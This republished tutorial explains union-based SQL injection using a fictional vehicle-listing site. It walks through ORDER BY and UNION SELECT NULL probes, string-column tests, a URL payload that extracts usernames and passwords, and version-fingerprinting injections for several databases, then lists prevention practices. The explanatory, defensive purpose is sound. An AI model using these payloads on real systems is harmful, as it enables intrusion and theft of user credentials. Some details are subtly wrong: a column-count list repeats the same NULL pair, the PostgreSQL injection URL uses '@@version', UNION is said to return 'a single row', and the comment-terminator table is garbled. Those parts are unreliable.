Union-Based SQL Injection – Guide To Understanding & Mitigating Such Attacks

Structured Query Language (SQL) is one of the most popular components of most modern tech stacks as it offers a simple, powerful, and expressive language for data processing. The language allows developers to easily create, manage, and manipulate relational databases, streamlining application data storage and access. However, albeit the benefits, there are fundamental security challenges on a SQL-based application stack.

Applications that add user input to SQL statements without adequate validation are typically one of the most common targets of SQL Injection Union attacks. In such instances, adversaries can send malicious commands to the backend database or webserver to extract classified information, perform unauthorized privileged functions or even manipulate the server’s OS.

This article discusses a SQL Injection Union attack, how such attacks are executed, various forms of such attacks, and prevention strategies.

What Is SQL Injection?

SQL injection (SQLi) is a web security vulnerability that enables attackers to manipulate an application’s backend by altering the queries sent to the database. One of the most common methods of orchestrating such attacks is by inserting a malicious SQL query as input data to the vulnerable SQL application that eventually adversely affects the execution of a predefined legitimate SQL query. The attack subsequently allows hackers to compromise the integrity of the webserver and gain unauthorized access to databases. An SQLi vulnerability attack also enables hackers to exploit users’ information, delete table entries, gain administrative access, and/or compromise other systems interacting with the webserver.

The root cause of SQLi vulnerability is primarily the ability to insert SQL code into a dynamic SQL statement, which in itself is based on several inherent vulnerabilities, including inadequate input validation and detailed revelation in error messages.

SQLi attacks are broadly categorized depending on the situation, path, and attack techniques. These include:

• Blind SQL Injection – In this type of SQL injection, the server response does not include the results of the altered query

• Database Examination – This facilitates extracting information about various database operations, types, and version

• Retrieving hidden data with error-based SQLi allows modifying a legitimate query to obtain additional sensitive or confidential content.

• Boolean-based SQL Injection – This enables altering the query to change the application logic

• UNION-based SQLi attacks – These attacks are orchestrated to obtain information from multiple tables

What Is SQL Injection Union?

In SQL, the UNION operator combines the results of two or more individual queries into a distinct result set within a single row. A hacker can corrupt queries to return database records from multiple tables using the UNION operator in a vulnerable application.

A successful UNION query is primarily based on satisfying two conditions:

• The malicious query returns the same number of columns as the original query

• The data types on all columns should be compatible with each SQL query

Categorized as an in-band SQL injection technique, a SQL injection UNION attack extends the results of an original malicious query, enabling hackers to extract information from the database schema or fetch cross-table entries of the remote server.

SQL Injection UNION Attacks: Examples

SQL injection UNION attacks are typically aimed at vulnerable applications that use the SELECT statement to filter the data they retrieve. A single attack may involve the attacker triggering altered queries for fetching sensitive data.

A successful attack is primarily dependent on a hacker’s masquerading skills while he determines the column-level data returned by the original query. Such an attack aims to discover the compatible data type that can be accepted through the attacker’s malicious query. Let us understand this better with a scenario.

Assume a website darwin.com allows users to list vehicle products by size. The application uses a user-provided field Size that runs the following original query to return the results to the user looking to buy a sedan:

SELECT type, description FROM vehicles WHERE category = ‘Sedan’

The application uses a URL of the form:

http://darwin.com/vehicles.php?category=Sedan

The following section discusses various methods attackers use to follow the SELECT statement for orchestrating an attack by exploiting the URL above.

Determining the Number of Columns Required to Perform the Injection UNION Attack

Attackers can use one of two methods to determine the number of columns present in the result of the original query.

First Method:

In the first method, the hacker injects a series of ORDER BY arguments while increasing the specified index of columns until the server returns an error.

The series of URLs would look similar to:

http://darwin.com/vehicles.php?category= Sedan ORDER BY 1 —

http://darwin.com/vehicles.php?category= Sedan ORDER BY 2 —

http://darwin.com/vehicles.php?category= Sedan ORDER BY 3 —

http://darwin.com/vehicles.php?category= Sedan ORDER BY 4 —

Quick note: In the case of a string-based UNION SQL injection, adding a quote and the plus (+) sign is required to indicate the string payload. For a string payload, the first URL request shown above will look similar to:

http://darwin.com/vehicles.php?category= Sedan ORDER BY 1′ –+

Assuming the database returns an ‘Unknown Cause’ or ‘ORDER BY number 4 is out of range’ error after the fourth request, the attacker infers that the number of columns is three.

Second Method:

In the second method, the attacker submits a series of UNION SELECT statements, each specifying several null values. Malicious queries in such an instance would look similar to:

UNION SELECT NULL–

UNION SELECT NULL,NULL–

UNION SELECT NULL,NULL–

UNION SELECT NULL,NULL,NULL,NULL–

Once the NULLs outnumber the field/column index, the server returns a database error. This could also be similar to the mistakes in the first method or a null pointer error that allows attackers to infer the number of columns.

Determining the Data Types Accepted by the Columns

Since the data of interest in an injection attack is typically a string, adversaries intend to uncover one or more columns of data type string. This is achieved by including a simple string in place of a null for each column in the queries. Assuming the original query returns four columns, the queries to identify columns with string data would look similar to:

UNION SELECT ‘a’ ,NULL,NULL,NULL–

UNION SELECT NULL,‘a’,NULL,NULL–

UNION SELECT NULL,NULL,‘a’,NULL–

UNION SELECT NULL,NULL,NULL,‘a’–

When the UNION is done between the string and the column, where the column also happens to be a string, the malicious query succeeds. Otherwise, the query returns a database error message.

Having determined the number of columns returned by the query and establishing the data type accepted by each column, attackers can proceed with further injection attacks via text input fields.

SQL Injection UNION Attack to Retrieve User’s Confidential Data

An attacker can modify the above legitimate query by appending a ‘UNION SELECT query to form a malicious query that enables him to access user credentials from the ‘users’ table. A malicious query would look similar to:

‘UNION SELECT username, password FROM users–

If the application lacks adequate input validation, the attacker can submit the query as an encoded request with a URL. The attack can also be propagated through a classic injection attack with a URL:

http://darwin.com/vehicles.php?category=Sedan ‘+UNION+SELECT+username,password+FROM+users–

SQL Injection UNION Attack to Retrieve Multiple Values

Attackers can also craft malicious queries to retrieve multiple values of a single column. The attack involves concatenating the information from multiple database tables into a single one using the symbol ||“ as shown below:

SELECT NULL,username||’~’||password FROM users–

Quick note: ~ performs arbitrary separation while || indicates concatenation

A malicious URL would, therefore, look similar to:

http://darwin.com/vehicles.php?category=’+UNION+SELECT+NULL,username||”~”||password+FROM+users–

FAQs

How do attackers know the database version and type?

Modern applications leverage loosely-coupled designs that often rely on different SQL database instances. As there is no thumb rule to choosing a database, organizations typically assess their business use case and technical requirements before opting for single or multiple database types.

To discover a database type, attackers usually trigger several trial and error queries until the database responds. The table below shows version queries and sample injection URLs for popular SQL servers:

Database Server  Version Query Injection URL
Microsoft SELECT @@version '+UNION+SELECT+@@version
Oracle SELECT * FROM v$version '+UNION+SELECT+BANNER,NULL+FROM+v$version–
PostgreSQL SELECT version() '+UNION+SELECT+@@version
MySQL SELECT @@version '+UNION+SELECT+@@version

As database systems also leverage different ways of terminating queries, attributing the termination type is a common practice to discover a database structure and type. The table below outlines various query termination outputs based on different database types:

Database Type Query Termination
PostgreSQL –comment /*comment*/
Microsoft –comment /*comment*/
MySQL #comment - comment /*comment*/
Oracle –comment

What are the best ways to prevent SQL injection UNION attacks?

Although there is no silver bullet to prevent a SQL injection UNION attack, there are certain recommended practices to prevent such a form of attack. These include:

• Properly sanitize user input fields and forms
• Whitelist URLs for database access
• Use an allow instead of a deny list
• Enforce the use of parameterized queries and prepared statements
• Use updated web development technologies and database setups (such as PDO instead of MySQLi) that include in-built SQLi protection
• Escape and encode special database characters
• Perform regular scans to identify vulnerabilities that may be introduced through external components.
• Train and maintain organization-wide awareness of risks associated with a SQL Injection Union form of attack

This article has already been published on https://crashtest-security.com/sql-injection-union/ and has been authorized by Crashtest Security for a republish.